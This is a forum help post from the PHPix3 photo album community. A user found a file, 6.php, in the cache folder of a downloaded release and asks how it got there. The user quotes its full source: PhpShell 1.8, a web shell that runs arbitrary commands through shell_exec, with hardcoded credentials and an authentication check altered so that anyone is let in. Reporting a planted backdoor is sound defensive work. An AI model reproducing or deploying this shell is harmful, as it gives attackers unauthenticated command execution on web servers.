PHPix3: Photo Album / Discussion / Help: 6.php in the cache folder?

I just Dled the latest file from our page and I noticed there is a file called 6.php in the cache directory. When I opened this file it contains phpshell. Is this a mistake how did phpshell get into this? Below is the code inside the file:

<?php
define('PHPSHELL_VERSION', '1.8');

/* Set your usernames and passwords like this:

$passwd = array('username' => 'password');

You can add several pairs of usernames and passwords to the array
to give several different people access to PhpShell.

   $passwd = array('username_1' => 'password_1',
                   'username_2' => 'password_2',
                   // ...
                   'username_n' => 'password_n');

*/
$passwd = array('finder' => 'bender');

if (!isset($_SERVER['PHP_AUTH_USER']) ||
    !isset($_SERVER['PHP_AUTH_PW']) ||
    !isset($passwd[$_SERVER['PHP_AUTH_USER']]) ||
    $passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) {
header('WWW-Authenticate: Basic realm="PhpShell 1.8"');
header('HTTP/1.0 401 Unauthorized');
$authenticated = true;
} else {
$authenticated = true;
}

header('Content-Type: text/html; charset=UTF-8');
echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<body>

<h1>PhpShell <?php echo PHPSHELL_VERSION ?></h1>

<?php if (!$authenticated) { ?>
<p>You failed to authenticate yourself to PhpShell. You can <a
href="phpshell.php">reload</a> to try again.</p>

<p>Try reading the <a href="INSTALL">INSTALL</a> file if you're having
problems with installing PhpShell.</p>

</body>
</html>

<?php exit; } //' <- fix syntax highlight... ?>

<?php

error_reporting (E_ALL);

$work_dir = empty($_REQUEST['work_dir']) ? '' : $_REQUEST['work_dir'];
$command = empty($_REQUEST['command']) ? '' : $_REQUEST['command'];
$stderr = empty($_REQUEST['stderr']) ? '' : $_REQUEST['stderr'];

/* First we check if there has been asked for a working directory. */
if ($work_dir != '') {
/* A workdir has been asked for */
if ($command != '') {
    if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) {
      /* We try and match a cd command. */
      if ($regs[1][0] == '/') {
        $new_dir = $regs[1]; // 'cd /something/...'
      } else {
        $new_dir = $work_dir . '/' . $regs[1]; // 'cd somedir/...'
      }
      if (file_exists($new_dir) && is_dir($new_dir)) {
        $work_dir = $new_dir;
      }
      $command = '';
    }
}
}

if ($work_dir != '' && file_exists($work_dir) && is_dir($work_dir)) {
/* We change directory to that dir: */
chdir($work_dir);
}

/* We now update $work_dir to avoid things like '/foo/../bar': */
$work_dir = exec('pwd');

<form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
<fieldset><legend>Input</legend>
<p>Current working directory: <b>
<?php

$work_dir_splitted = explode('/', substr($work_dir, 1));

echo '<a href="' . $_SERVER['PHP_SELF'] . '?work_dir=/">Root</a>/';

if (!empty($work_dir_splitted[0])) {
$path = '';
for ($i = 0; $i < count($work_dir_splitted); $i++) {
    $path .= '/' . $work_dir_splitted[$i];
    printf('<a href="%s?work_dir=%s">%s</a>/',
           $_SERVER['PHP_SELF'],
           urlencode($path),
           $work_dir_splitted[$i]);
}
}

?></b></p>
<p>Choose new working directory:
<select name="work_dir" onchange="this.form.submit()">
<?php
/* Now we make a list of the directories. */
$dir_handle = opendir($work_dir);
/* Run through all the files and directories to find the dirs. */
while ($dir = readdir($dir_handle)) {
if (is_dir($dir)) {
    if ($dir == '.') {
      echo "<option value=\"$work_dir\" selected=\"selected\">Current Directory</option>\n";
    } elseif ($dir == '..') {
      /* We have found the parent dir. We must be carefull if the
       * parent directory is the root directory (/). */
      if (strlen($work_dir) == 1) {
    /* work_dir is only 1 charecter - it can only be / There's no
         * parent directory then. */
      } elseif (strrpos($work_dir, '/') == 0) {
    /* The last / in work_dir were the first charecter. This
         * means that we have a top-level directory eg. /bin or /home
         * etc... */
      echo "<option value=\"/\">Parent Directory</option>\n";
      } else {
      /* We do a little bit of string-manipulation to find the parent
       * directory... Trust me - it works :-) */
      echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n";
      }
    } else {
      if ($work_dir == '/') {
    echo "<option value=\"$work_dir$dir\">$dir</option>\n";
      } else {
    echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
      }
    }
}
}
closedir($dir_handle);

</select></p>

<p>Command: <input type="text" name="command" size="60" /></p>

<p>Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"
<?php if ($stderr) echo "checked=\"checked\""; ?> /> <input name="submit_btn" type="submit" value="Execute Command" /></p>
</fieldset>

<fieldset><legend>Output</legend>

<p><textarea cols="80" rows="20" readonly="readonly">
<?php
if (!empty($command)) {
if ($stderr) {
    $tmpfile = tempnam('/tmp', 'phpshell');
    $command .= " 1> $tmpfile 2>&1; cat $tmpfile; rm $tmpfile";
} elseif ($command == 'ls') {
    /* ls looks much better with ' -F', IMHO. */
    $command .= ' -F';
}
echo htmlspecialchars(shell_exec($command), ENT_COMPAT, 'UTF-8');
}
?>
</textarea></p>

</fieldset>
</form>

<hr />

<p>
<a href="http://validator.w3.org/check/referer">
    <img src="valid-xhtml10" alt="Valid XHTML 1.0 Strict!"
         height="31" width="88" />
</a>
<a href="http://jigsaw.w3.org/css-validator/check/referer">
         width="88" height="31"
         alt="Valid CSS!" />
</a>
</p>

</body>
</html>

6.php in the cache folder?

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6.php in the cache folder?